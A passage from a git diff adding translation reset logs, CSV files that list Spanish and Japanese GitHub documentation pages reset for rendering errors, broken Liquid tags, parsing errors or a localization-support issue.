+translations/es-ES/content/rest/guides/working-with-comments.md,rendering error +translations/es-ES/content/rest/overview/api-previews.md,rendering error +translations/es-ES/content/rest/overview/libraries.md,rendering error +translations/es-ES/content/rest/overview/other-authentication-methods.md,Listed in localization-support#489 +translations/es-ES/content/rest/overview/other-authentication-methods.md,rendering error +translations/es-ES/content/rest/overview/resources-in-the-rest-api.md,rendering error +translations/es-ES/content/rest/reference/actions.md,Listed in localization-support#489 +translations/es-ES/content/rest/reference/actions.md,rendering error +translations/es-ES/content/rest/reference/activity.md,Listed in localization-support#489 +translations/es-ES/content/rest/reference/activity.md,rendering error +translations/es-ES/content/rest/reference/apps.md,Listed in localization-support#489 +translations/es-ES/content/rest/reference/apps.md,rendering error +translations/es-ES/content/rest/reference/billing.md,Listed in localization-support#489 +translations/es-ES/content/rest/reference/billing.md,rendering error +translations/es-ES/content/rest/reference/checks.md,Listed in localization-support#489 +translations/es-ES/content/rest/reference/checks.md,rendering error +translations/es-ES/content/rest/reference/enterprise-admin.md,Listed in localization-support#489 +translations/es-ES/content/rest/reference/enterprise-admin.md,rendering error +translations/es-ES/content/rest/reference/gitignore.md,rendering error +translations/es-ES/content/rest/reference/licenses.md,rendering error +translations/es-ES/content/rest/reference/migrations.md,rendering error +translations/es-ES/content/rest/reference/permissions-required-for-github-apps.md,rendering error +translations/es-ES/content/rest/reference/pulls.md,Listed in localization-support#489 +translations/es-ES/content/rest/reference/pulls.md,rendering error +translations/es-ES/content/rest/reference/repos.md,Listed in localization-support#489 +translations/es-ES/content/rest/reference/repos.md,rendering error +translations/es-ES/content/rest/reference/scim.md,rendering error +translations/es-ES/content/rest/reference/search.md,rendering error +translations/es-ES/content/rest/reference/secret-scanning.md,rendering error +translations/es-ES/content/rest/reference/teams.md,rendering error +translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md,rendering error +translations/es-ES/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md,rendering error +translations/es-ES/content/search-github/searching-on-github/searching-code.md,Listed in localization-support#489 +translations/es-ES/content/search-github/searching-on-github/searching-code.md,rendering error +translations/es-ES/content/search-github/searching-on-github/searching-commits.md,Listed in localization-support#489 +translations/es-ES/content/search-github/searching-on-github/searching-commits.md,rendering error +translations/es-ES/content/search-github/searching-on-github/searching-discussions.md,rendering error +translations/es-ES/content/search-github/searching-on-github/searching-for-repositories.md,rendering error +translations/es-ES/content/search-github/searching-on-github/searching-in-forks.md,Listed in localization-support#489 +translations/es-ES/content/search-github/searching-on-github/searching-in-forks.md,rendering error +translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md,Listed in localization-support#489 +translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md,rendering error +translations/es-ES/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md,rendering error +translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md,rendering error +translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account.md,rendering error +translations/es-ES/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md,rendering error +translations/es-ES/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md,rendering error +translations/es-ES/data/reusables/package_registry/authenticate-packages.md,Listed in localization-support#489 diff --git a/translations/log/ja-resets.csv b/translations/log/ja-resets.csv new file mode 100644 index 0000000000..8ac0eb1372 --- /dev/null +++ b/translations/log/ja-resets.csv @@ -0,0 +1,347 @@ +file,reason +translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,Listed in localization-support#489 +translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,rendering error +translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md,rendering error +translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,broken liquid tags +translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,broken liquid tags +translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account.md,broken liquid tags +translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md,broken liquid tags +translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/index.md,rendering error +translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings.md,rendering error +translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md,broken liquid tags +translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings.md,rendering error +translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository.md,rendering error +translations/ja-JP/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md,rendering error +translations/ja-JP/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,broken liquid tags +translations/ja-JP/content/actions/automating-builds-and-tests/about-continuous-integration.md,broken liquid tags +translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md,rendering error +translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-python.md,rendering error +translations/ja-JP/content/actions/creating-actions/about-custom-actions.md,broken liquid tags +translations/ja-JP/content/actions/creating-actions/creating-a-javascript-action.md,rendering error +translations/ja-JP/content/actions/creating-actions/publishing-actions-in-github-marketplace.md,broken liquid tags +translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md,rendering error +translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md,rendering error +translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md,rendering error +translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md,rendering error +translations/ja-JP/content/actions/guides.md,rendering error +translations/ja-JP/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,rendering error +translations/ja-JP/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,Listed in localization-support#489 +translations/ja-JP/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,rendering error +translations/ja-JP/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md,broken liquid tags +translations/ja-JP/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md,rendering error +translations/ja-JP/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md,Listed in localization-support#489 +translations/ja-JP/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md,rendering error +translations/ja-JP/content/actions/learn-github-actions/expressions.md,rendering error +translations/ja-JP/content/actions/learn-github-actions/finding-and-customizing-actions.md,broken liquid tags +translations/ja-JP/content/actions/learn-github-actions/managing-complex-workflows.md,broken liquid tags +translations/ja-JP/content/actions/learn-github-actions/reusing-workflows.md,rendering error +translations/ja-JP/content/actions/learn-github-actions/understanding-github-actions.md,rendering error +translations/ja-JP/content/actions/learn-github-actions/usage-limits-billing-and-administration.md,rendering error +translations/ja-JP/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,rendering error +translations/ja-JP/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,rendering error +translations/ja-JP/content/actions/managing-workflow-runs/removing-workflow-artifacts.md,broken liquid tags +translations/ja-JP/content/actions/publishing-packages/about-packaging-with-github-actions.md,broken liquid tags +translations/ja-JP/content/actions/quickstart.md,broken liquid tags +translations/ja-JP/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,broken liquid tags +translations/ja-JP/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,rendering error +translations/ja-JP/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,rendering error +translations/ja-JP/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md,rendering error +translations/ja-JP/content/admin/advanced-security/viewing-your-github-advanced-security-usage.md,Listed in localization-support#489 +translations/ja-JP/content/admin/advanced-security/viewing-your-github-advanced-security-usage.md,parsing error +translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,broken liquid tags +translations/ja-JP/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,broken liquid tags +translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md,broken liquid tags +translations/ja-JP/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md,rendering error +translations/ja-JP/content/admin/configuration/configuring-network-settings/network-ports.md,rendering error +translations/ja-JP/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md,broken liquid tags +translations/ja-JP/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md,broken liquid tags +translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md,broken liquid tags +translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md,rendering error +translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md,broken liquid tags +translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md,rendering error +translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,broken liquid tags +translations/ja-JP/content/admin/configuration/configuring-your-enterprise/index.md,rendering error +translations/ja-JP/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md,broken liquid tags +translations/ja-JP/content/admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise.md,broken liquid tags +translations/ja-JP/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,broken liquid tags +translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,broken liquid tags +translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md,rendering error +translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md,broken liquid tags +translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md,rendering error +translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md,broken liquid tags +translations/ja-JP/content/admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes.md,Listed in localization-support#489 +translations/ja-JP/content/admin/enterprise-management/configuring-clustering/monitoring-cluster-nodes.md,parsing error +translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md,rendering error +translations/ja-JP/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,rendering error +translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,broken liquid tags +translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error +translations/ja-JP/content/admin/enterprise-support/overview/about-github-enterprise-support.md,broken liquid tags +translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md,broken liquid tags +translations/ja-JP/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md,broken liquid tags +translations/ja-JP/content/admin/enterprise-support/overview/about-support-for-advanced-security.md,broken liquid tags +translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md,broken liquid tags +translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md,broken liquid tags +translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md,broken liquid tags +translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md,broken liquid tags +translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md,broken liquid tags +translations/ja-JP/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md,broken liquid tags +translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md,broken liquid tags +translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md,broken liquid tags +translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md,broken liquid tags +translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,rendering error +translations/ja-JP/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md,rendering error +translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md,rendering error +translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md,rendering error +translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,rendering error +translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md,rendering error +translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md,rendering error +translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md,rendering error +translations/ja-JP/content/admin/github-actions/index.md,rendering error +translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,rendering error +translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,rendering error +translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md,broken liquid tags +translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md,broken liquid tags +translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,broken liquid tags +translations/ja-JP/content/admin/github-actions/using-github-actions-in-github-ae/index.md,rendering error +translations/ja-JP/content/admin/guides.md,rendering error +translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md,broken liquid tags +translations/ja-JP/content/admin/overview/system-overview.md,broken liquid tags +translations/ja-JP/content/admin/packages/enabling-github-packages-with-aws.md,broken liquid tags +translations/ja-JP/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md,broken liquid tags +translations/ja-JP/content/admin/packages/enabling-github-packages-with-minio.md,broken liquid tags +translations/ja-JP/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,broken liquid tags +translations/ja-JP/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md,broken liquid tags +translations/ja-JP/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md,rendering error +translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md,Listed in localization-support#489 +translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-environment.md,rendering error +translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md,broken liquid tags +translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md,Listed in localization-support#489 +translations/ja-JP/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md,rendering error +translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,broken liquid tags +translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,broken liquid tags +translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,broken liquid tags +translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,broken liquid tags +translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md,broken liquid tags +translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md,broken liquid tags +translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md,broken liquid tags +translations/ja-JP/content/authentication/authenticating-with-saml-single-sign-on/index.md,broken liquid tags +translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md,broken liquid tags +translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md,broken liquid tags +translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md,rendering error +translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md,rendering error +translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md,rendering error +translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md,broken liquid tags +translations/ja-JP/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md,broken liquid tags +translations/ja-JP/content/authentication/managing-commit-signature-verification/signing-commits.md,rendering error +translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md,rendering error +translations/ja-JP/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md,Listed in localization-support#489 +translations/ja-JP/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md,rendering error +translations/ja-JP/content/billing/index.md,rendering error +translations/ja-JP/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md,Listed in localization-support#489 +translations/ja-JP/content/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md,parsing error +translations/ja-JP/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md,broken liquid tags +translations/ja-JP/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md,broken liquid tags +translations/ja-JP/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md,rendering error +translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,rendering error +translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md,rendering error +translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,rendering error +translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,broken liquid tags +translations/ja-JP/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md,broken liquid tags +translations/ja-JP/content/code-security/getting-started/github-security-features.md,broken liquid tags +translations/ja-JP/content/code-security/getting-started/securing-your-organization.md,broken liquid tags +translations/ja-JP/content/code-security/getting-started/securing-your-repository.md,broken liquid tags +translations/ja-JP/content/code-security/index.md,broken liquid tags +translations/ja-JP/content/code-security/secret-scanning/about-secret-scanning.md,rendering error +translations/ja-JP/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md,broken liquid tags +translations/ja-JP/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,rendering error +translations/ja-JP/content/code-security/security-overview/about-the-security-overview.md,rendering error +translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md,rendering error +translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot.md,broken liquid tags +translations/ja-JP/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot.md,broken liquid tags +translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,rendering error +translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md,rendering error +translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md,broken liquid tags +translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md,broken liquid tags +translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md,rendering error +translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md,rendering error +translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,rendering error +translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md,rendering error +translations/ja-JP/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,Listed in localization-support#489 +translations/ja-JP/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,rendering error +translations/ja-JP/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,rendering error +translations/ja-JP/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md,rendering error +translations/ja-JP/content/codespaces/customizing-your-codespace/index.md,rendering error +translations/ja-JP/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,broken liquid tags +translations/ja-JP/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md,rendering error +translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,rendering error +translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,rendering error +translations/ja-JP/content/codespaces/developing-in-codespaces/creating-a-codespace.md,rendering error +translations/ja-JP/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,rendering error +translations/ja-JP/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,rendering error +translations/ja-JP/content/codespaces/developing-in-codespaces/index.md,rendering error +translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,broken liquid tags +translations/ja-JP/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md,rendering error +translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md,rendering error +translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md,rendering error +translations/ja-JP/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md,rendering error +translations/ja-JP/content/codespaces/managing-your-codespaces/index.md,rendering error +translations/ja-JP/content/codespaces/overview.md,rendering error +translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md,rendering error +translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/index.md,rendering error +translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,rendering error +translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,rendering error +translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,rendering error +translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md,rendering error +translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md,rendering error +translations/ja-JP/content/communities/documenting-your-project-with-wikis/about-wikis.md,rendering error +translations/ja-JP/content/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam.md,broken liquid tags +translations/ja-JP/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md,rendering error +translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md,Listed in localization-support#489 +translations/ja-JP/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md,rendering error +translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-a-repository-from-your-local-computer-to-github-desktop.md,broken liquid tags +translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/adding-an-existing-project-to-github-using-github-desktop.md,broken liquid tags +translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop.md,broken liquid tags +translations/ja-JP/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md,broken liquid tags +translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md,broken liquid tags +translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md,broken liquid tags +translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github.md,broken liquid tags +translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/setting-up-github-desktop.md,broken liquid tags +translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md,broken liquid tags +translations/ja-JP/content/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop.md,broken liquid tags +translations/ja-JP/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md,rendering error +translations/ja-JP/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md,broken liquid tags +translations/ja-JP/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md,rendering error +translations/ja-JP/content/developers/apps/getting-started-with-apps/about-apps.md,broken liquid tags +translations/ja-JP/content/developers/apps/getting-started-with-apps/activating-optional-features-for-apps.md,broken liquid tags +translations/ja-JP/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md,broken liquid tags +translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md,broken liquid tags +translations/ja-JP/content/developers/github-marketplace/github-marketplace-overview/index.md,broken liquid tags +translations/ja-JP/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md,broken liquid tags +translations/ja-JP/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md,broken liquid tags +translations/ja-JP/content/developers/overview/managing-deploy-keys.md,rendering error +translations/ja-JP/content/developers/overview/secret-scanning-partner-program.md,broken liquid tags +translations/ja-JP/content/developers/webhooks-and-events/webhooks/about-webhooks.md,broken liquid tags +translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md,broken liquid tags +translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md,broken liquid tags +translations/ja-JP/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,broken liquid tags 